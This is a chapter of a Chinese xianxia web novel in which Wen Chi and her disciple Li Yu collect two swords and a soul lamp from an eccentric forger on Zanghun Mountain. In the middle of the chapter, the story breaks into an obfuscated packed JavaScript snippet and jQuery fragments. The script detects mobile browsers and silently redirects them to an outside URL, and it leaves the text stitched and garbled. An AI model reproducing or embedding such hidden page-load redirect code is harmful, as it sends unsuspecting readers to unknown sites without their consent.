凄惨的嚎叫声只响了几下就随着最后一丝光亮消失了,天彻底进入黑幕,木屋的灯火愈发清晰。
虽然定金已经付了过去,但温迟这还是第一次要见这个老头。至于为何如此,是因为老头所在的山头为葬魂山。
关于葬魂山的传说,温迟其实并不太懂,原书并没有记载系统也不说不出个一二三,而温迟后来为何知道,其实是来源于这个世界的小道消息还有魔修们之间的口口相传。
葬魂山,据说是万魂归处,修仙者若是身陨,在魂灯将灭之时取一缕修士的残魂,说不定能在百千年后得遇此人复生。但不过一切都是谣传,至于真假也没人印证过。
一是能记挂一人本身就极难;二是就算有执念深重的人等着,也很难等上百千年,寻常修仙者也难活那么久。最重要的是,此山会对修士造成日积月累的损伤,尤其是修习亏损之道的,且深入其中危险重重,整个山头只山脚有着几间破屋但也早是人去楼空了。
所以温迟来的时候要和老头提前预约,虽然不知道老头如何让他们安然入内的,这一路他们也并无不适。
二人站在安静的破屋前,温迟回头,却发现自己还抓着黎榆的手腕。
黎榆似乎还是头脑晕乎乎的,任由温迟牵着他,这人也不问所去何处。一路上黎榆没问,温迟也没主动说。两个人就这样一个带路一个跟着,来到了这个完全陌生的地方。
“黎榆,其实,我是要把你卖了。”
温迟食指虚点着黎榆的鼻尖,眯着眼一脸神秘。
盯着温迟的指尖,黎榆丝毫没从温迟的语气里听出威胁的意思,自然知道温迟不过是和自己开玩笑,但就算真把他卖了也就卖了,他无所谓:“这样吗……”
“噗……”
温迟还是没装到三秒,自己都憋不住笑了:“把你卖了也卖不到什么,你吃了我那么多东西,算起来我还亏了呢!”
还没等黎榆皱起眉头,只听小屋里传出一声极响的落刀声。
“别在外面打情骂俏!晦气!”
屋里的人发出一道中气十足的声音,这道声音把温迟二人震了一下,犹如被声浪冲击,温迟的心脏仿佛被人握着提起又放下。
她甚至听到了话音最后赌气的“哼”声。
此人修为不浅!应该就是那个深藏不露的炼器老头。
温迟也没发怵,反正她来都来了,就算出了意外不过是和此人玉石俱焚,彼此都得不到什么好处。
“走吧,没事的,放心!”
温迟握住黎榆的手,就像幼师牵着一个幼稚园孩子,本能地,她去安抚黎榆,就好像黎榆根本不能自理一般。
黎榆觉得最近自己的逆反心理愈发重了。
老头的小屋没设禁制,但温迟觉得第一次拜访陌生人更何况是有求于人的时候还是礼貌点好,所以她准备带着黎榆先去敲门,然后得到允许再进去。
但显然老头的脾气不太好,他们刚踏上屋前咯吱作响的台阶就被“袭击”了。一个足球大的东西从虚掩着的门缝里被扔了出来,别无他法,温迟硬着头皮去接,她眼疾手快地把黎榆护在身后,双手去接那被抛过来的东西。
一个软软弹弹但颇有重量的东西被温迟接住稳稳地抱在了怀里。温迟惊疑未定,她低头看向怀里的东西一时没反应过来。
是个大猪头。
“哇哇哇!”
等温迟反应过来,她被吓得就要丢掉怀里的大猪头,左右环顾一圈,苦了旁边面露难色的黎榆,温迟下意识地就把猪头塞在了黎榆的怀里。
粉嫩的大猪头稳稳当当地落在了黎榆的怀里,死猪的猪头肥大又笨重,黎榆硬是被累得肩膀塌了下去。
黎榆低头看着怀里的猪头,思考片刻上前踢开了虚掩着的门。
“这个老头故意的。”
黎榆抱着猪头进入屋内,温迟虽然不知道为何黎榆如此淡定,但自己也强行按捺住了骂爹的念头跟着黎榆进了里屋。
“哈哈哈哈哈,有趣、有趣……”
里面的老头发出爆笑,就像攒了大半辈子的笑话都在此时看了,笑得气息不稳、声音格外的大。
“前辈,再笑您所剩不多的牙我都能数清楚了。”
黎榆就这样抱着猪头走到扶着桌案大笑的老头身边,把沾着血的大猪头稳稳当当地搁在了桌案上。
长长的桌案上赫然是一头被解剖好的猪,每一块都细细分好了,就像温迟在大某发看到卖猪肉的生鲜区,十分准确细致。
原来刚刚的杀猪声真的是在杀猪,这个老头在家里杀猪,处理的干干净净毫无异味,这猪死的实在体面。
而黎榆的表现就好像认识这个老头一样。
“我不认识他。”
黎榆似乎看出了温迟的疑惑,他的手因为拿过猪头又油又腥,温迟刚整理好自己,顺手给黎榆砸了个清洁术。其实温迟发现黎榆是个爱干净的,就算一时身上脏了也会想办法把自己弄干净,彼时他就在老头的房间里到处观察,也不知道他在魔宫的时间里是怎么受得了时时身上都是血污的。
老头看这二人一时也没把自己当回事,气焰小了但嗓门大了:“就是你啊,要给你的情郎造的武器?”
听到“情郎”二字,黎榆淡淡瞥了一眼温迟,一副“你说什么就是什么”的表情。
“不是,这是我的……徒弟。”
温迟总不能说这是我的“囚宠”吧?不过按照现在这种情况,既然黎榆答应跟她修习法术,她也当得起他一句师父,虽然黎榆肯定不会叫就是了。
“给小徒弟造两把百万灵石的剑和魂灯?”
老头不知何时架起了锅,他把猪肉细细分好装了起来,后又丢了几条排骨在锅里炖了。此锅与寻常的锅不同,似乎是老头刻意造出来烹饪的,只一会儿,锅里就传出来炖肉的香气,馋的温迟忍不住想买一个这种锅随身携带。
“有意思,魔宫宫主能这样带一个天赋根基差成如此的人在身边做弟子?”
呵呵……
温迟在心里忍不住翻白眼,她真没舍得给黎榆订什么几百万灵石的剑,她搜罗来的天材地宝是给自己打造的剑,顺便造一把简单的是黎榆的;至于魂灯,是每个修士必备的,造价对比她现在所拥有的财富来说不过九牛一毛。
原来随意花钱是这种感觉吗?温迟流下了幸福的泪水。
两人老老实实蹲在老头前面等他吃饭。温迟还沉浸在自己拥有巨大财富恣意花钱不心疼的兴奋中;而黎榆垂眸,盯着自己虚握住的手,上面似乎还有温迟不在意时留下的痕迹,深深浅浅的指痕。
自己真的这么弱吗?
黎榆转了转手腕,他第一次好好打量了自己,却发现自己确实过于纤细了,虽然本身痛感偏弱,但似乎太过容易受伤,之前留下的痕迹还留有或深或浅的印子,这样的自己能拿得动剑吗……
老头吃饭吃得颇为狂野,不一会儿一锅的排骨就被他啃的干干净净,他也并不想分给来访者尝尝,即使这菜肴香气逼人,他只不过自己独享。直到一根根排骨骨头被嗦的干干净净、锅里见底他才打了个长长的响嗝。
温迟忍住没捂着鼻子,头撇过去试图离这个老头远点。
“魔宫宫主,嫌弃老身啊。”
老头一挥手收了自己的大锅,这锅似乎是个神奇,吃完便自洁的干干净净,“咻”的一声被收进了储物囊。
“……”这不是显而易见吗?
温迟懒得搭理老头,和桌案上的猪头对视,她倒觉得猪头比老头讨喜了。
然而老头也并不着急把东西拿出来,倒是掏出竹签剔起牙来,似是回忆道:“听说,我那师弟的近日和那方老儿斗了起来,说是把他山头炸了……”
突然被提起这话,温迟愣了一下,不自觉心虚起来。
好啊白阙,还说你做的干净!
“宫主不必担心,其中自然有老身的手笔,此事天知地知,你知我知……还有你的小徒弟。”
老头呵呵一笑,摸了把不存在的胡须,眯起眼睛狞笑着:“正道之人,何尝不是伪善之人?常家村因修士之误被屠了满村,现在被遮掩的干干净净;天骄剑仙,又何不是牺牲天才达己私欲的噱头……”
虽然温迟听不懂老头说什么,但她确实能感觉到老头对那些名门正派的厌恶,而白阙去炸山头这件事,这个老头也有参与,只不过不知道目的是什么。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544238|186712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“宫主你何尝不是最恨正派之人的嘴脸才入了魔道?”
见温迟沉默不语,老头只当温迟被戳中心事,挥手淡然一笑:“宫主这番也是给了老身一个机会让老身的师弟吃吃瘪,报了老身的仇,省了老身费事。”
也不知想到何时,老头忽然望向黎榆,眼神狠辣又瞬间恢复平静,就像看工具一般看着黎榆,继而又把目光投向温迟。
“我还以为,此子心中有恨,若是有机会能荡平魔宫。老身还未出手,宫主就已先手于老身,妙哉……”
完了,温迟是彻底听不懂了。
她沉思着思考老头的话里有话,似乎是这个老头心中有什么计划但又没来得及实施,自己阴差阳错救了自己一命,还莫名其妙帮了这个老头。
所以这才让她找到机会寻到老头?
但就算自己一头雾水,温迟也没有表现出疑惑,反而是面露坦然。就像却如此言般的她料事如神,出手帮了老头,现在能和黎榆坐在这陪老头吃饭是他们的恩典一般。
她装也装的颇像,毕竟人在外身份都是自己给的。
温迟尝试呼叫系统,但半天也没听到系统发声。
“宫主委托的锻造老身也完成了,铸剑炼器,最后得到的器物也具有灵性。”
是有这么一说。温迟想到了修仙小说这种的文里常出现什么神器认主、器灵这种东西,也对老头的话表示理解。
“一个器物,被谁用、怎么用,对器物来说也是天差地别,好用难用也因人而异。”
这话听起来就像耍流氓啊!温迟额头突突直跳。
这就像买东西之前,导购告诉你,这玩意儿就是这样,至于这玩意好不好使、效果如何就看你怎么用一样,随机性太大,你已经全款订购,售出概不负责。
这就是买东西太冲动的代价!
她还有反悔的余地吗?
然而这个念头在东西被拿出来之后烟消云散。
老头虽然看起来思维跳跃、难以捉摸,但炼器水平也让近日识宝无数的温迟心中惊叹。
温迟总共订了两把剑和一盏魂灯。一把剑的原材料是温迟从魔宫宝库里精挑细选的,可以说本身锻造难度就极高。她其实只是指望这把剑能把原材料的妙用发挥到六成,但宝匣一打开,温迟就感觉到这剑灵气逼人。
外观流畅,出鞘如一段浮动着月色的流水。温迟几乎不需要仔细感知,就知道这剑将材料的成效保留了九成而力量之间并不冲突,浑然天成。虽然一旁的另一把剑稍显的黯淡,但依旧是灵气逼人;魂灯通身莹白,周身似有仙尘浮动,只缺一缕魂魄注入。
老头自然看出了温迟眼中的惊艳,他对自己的手艺十分自信,看到她的表情也是意料之中。
“宫主,先试试吧。”
其实温迟早就迫不及待了,她平常用惯了鞭子、锁链等武器,第一次用剑还是有难掩激动,也不顾是不是带着黎榆来办正事,她允许自己自私一点儿。
当手覆上剑身,灵气便缠绕上了温迟的手腕。温迟觉得自己就像一块正在吸水的干海绵,闭着眼睛感受掌下灵气的浮动和渗入。
可是,这样的感觉还未持续半刻钟,那灵气就像淤堵滞涩,不再进入了。
怎么回事?温迟一头雾水,这剑还和她排斥?
自己偏不信邪,她再次试图和剑“沟通”、试探让剑“认主”,当灵气再次在温迟的掌下凝固时,温迟差点没绷住。
“宫主,这剑看来不是认您啊……”
老头一副看热闹不嫌事大的表情:“强行认主只会损害剑器,最差的话能让这只剑变成废铁。”
看着老头乐呵呵的模样,温迟满脸黑线。她不信,她宁愿这个剑变成废铁她也不愿意就这样看着自己废了半天劲造好的剑变成只能看不能用的花瓶!
这样想着,温迟掌下催动法咒。
随着法咒的生效,丝丝缕缕凝滞的灵气确实开始浮动起来,犹如被理顺的毛线团散开。
然而这灵气在流动的瞬间开始四散逃逸,它们偏偏不进入温迟的身体,反而反扑向另一个方向,就像遇到了黑洞。
那灵气漂浮聚集,最后缠绕在黎榆的手腕上。